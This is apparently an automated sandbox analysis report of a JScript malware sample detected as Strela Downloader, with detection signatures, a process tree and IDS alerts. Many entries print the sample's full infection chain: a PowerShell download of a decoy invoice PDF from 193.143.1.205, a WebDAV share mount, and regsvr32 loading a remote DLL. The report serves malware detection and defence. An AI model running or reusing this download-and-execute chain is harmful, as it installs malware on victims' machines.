Edit tour

Windows Analysis Report
2650280751468214741.js

Overview

General Information

Sample name:	2650280751468214741.js
Analysis ID:	1588920
MD5:	f6c05b5671838c5b2b7b412c43c0e5fc
SHA1:	d83d764c57d63a81622cead4e86b421bf8710229
SHA256:	e2c659ef8ac9466826d0dc73b958dac260d5df8c5b1c5a1b177b620c4c870dc8
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5716 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1880 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7028 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7088 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1600,i,16447095256642553858,17174471590947947987,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2820 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6724 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3152 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5716	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7028, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7028, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ProcessId: 5716, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6724, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ProcessId: 5716, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7028, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6724, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3152, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6724, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 1880, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:11:33.744321+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:11:36.893697+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:11:33.744321+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2650280751468214741.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2650280751468214741.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49712 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:11:33 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
